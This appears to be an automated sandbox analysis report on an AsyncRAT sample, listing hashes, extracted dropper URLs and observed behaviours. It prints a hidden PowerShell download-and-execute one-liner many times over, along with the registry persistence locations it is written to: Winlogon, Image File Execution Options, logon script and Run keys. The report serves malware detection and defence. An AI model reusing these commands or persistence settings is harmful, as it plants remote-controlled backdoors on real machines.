asyncrat | 2015a710d1f2c5f33c9e628ea23cbc0ac862c00a9fded0f7c69956d60efb468f

Analysis

max time kernel
900s
max time network
902s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
07/11/2026, 11:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Tele_VietNamReport.exe
Size 112KB
Sample261107-m7lqssef79
SHA256 2015a710d1f2c5f33c9e628ea23cbc0ac862c00a9fded0f7c69956d60efb468f
MD5 6f9fac9d2335be9dfc0f1c2b9ca31d83
SHA1 7620a16c0b51941f114f4e7bf99c70828fe9cd02
SHA512 406a3c97e49a53d49cbb730cf7d5a743184247f270a9746675a5e5ed0b1915a71a24a28801e45a66666c9caf3d4aee79edc8a053ecca400b6c176eea73fb5ea1
SSDEEP 3072:gjoK06kQ9Hsr1zGdmDpp+eMQblor+Sbts7SzGx:gjoK06X9fmDD+eMQbaPsGk
TLSH
T180B3B4443BF94614F2FBAF7CADB5624149BEB9676911CA9D18B0108D0532B81CDE2F3B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware au88 backdoor defense_evasion discovery execution asyncrat persistence rat spyware

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://register.mybet88.gg/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://32win23.pro/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://b52club.bio/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://bigslot855.vip/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://xx8.loans/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://8kbet.ist/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://nmk.yosusai.in/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://e390a.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://m.asianslots.co/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

au88 backdoor

Mutex

KSOYTAFik3sE

Attributes

delay
3
install
true
install_file
App.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0009000000028475-31.dat	family_asyncrat

Modifies WinLogon for persistence 2 TTPs 11 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\""	reg.exe

Badlisted process makes network request 17 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
19	4744	powershell.exe
28	4744	powershell.exe
1672	4220	powershell.exe
1939	736	powershell.exe
1940	736	powershell.exe
2040	4620	powershell.exe
2041	4620	powershell.exe
2081	5060	powershell.exe
2082	5060	powershell.exe
2148	1068	powershell.exe
2149	1068	powershell.exe
2201	4064	powershell.exe
2202	4064	powershell.exe
2208	4308	powershell.exe
2210	4308	powershell.exe
2258	1380	powershell.exe
2260	1380	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4620	powershell.exe
5060	powershell.exe
4064	powershell.exe
4308	powershell.exe
2416	powershell.EXE
4220	powershell.exe
736	powershell.exe
1068	powershell.exe
1380	powershell.exe
4744	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 22 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Control Panel\International\Geo\Nation	App.exe
Key value queried	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Control Panel\International\Geo\Nation	App.exe
Key value queried	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Control Panel\International\Geo\Nation	Tele_VietNamReport.exe

Executes dropped EXE 2 IoCs

pid	Process
896	App.exe
3872	App.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 11 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-686476835-2493921010-524562731-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe

Adds Run key to start application 2 TTPs 22 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')\""	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1104	cmd.exe
2852	cmd.exe
3308	cmd.exe
1576	cmd.exe
3584	cmd.exe
2088	cmd.exe
4836	cmd.exe
2820	cmd.exe
1536	cmd.exe
4668	cmd.exe
4300	cmd.exe
3468	cmd.exe
2072	cmd.exe
2908	cmd.exe
2912	cmd.exe
4480	cmd.exe
4040	cmd.exe
3024	cmd.exe
4848	cmd.exe
1148	cmd.exe
4416	cmd.exe
3720	cmd.exe
4620	cmd.exe
2712	cmd.exe
5116	cmd.exe
2148	cmd.exe
4808	cmd.exe
1852	cmd.exe
2640	cmd.exe
3596	cmd.exe
1168	cmd.exe
1172	cmd.exe
224	cmd.exe
4748	cmd.exe
4900	cmd.exe
2792	cmd.exe
3436	cmd.exe
1372	cmd.exe
4448	cmd.exe
3688	cmd.exe
4968	cmd.exe
960	cmd.exe
460	cmd.exe
376	cmd.exe
3212	cmd.exe
3304	cmd.exe
2260	cmd.exe
1952	cmd.exe
5088	cmd.exe
2676	cmd.exe
4080	cmd.exe
2952	cmd.exe
3580	cmd.exe
1136	cmd.exe
2144	cmd.exe
2448	cmd.exe
4948	cmd.exe
552	cmd.exe
2888	cmd.exe
648	cmd.exe
3784	cmd.exe
780	cmd.exe
2680	cmd.exe
1908	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	App.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Tele_VietNamReport.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Tele_VietNamReport.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	App.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	App.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	App.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	App.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
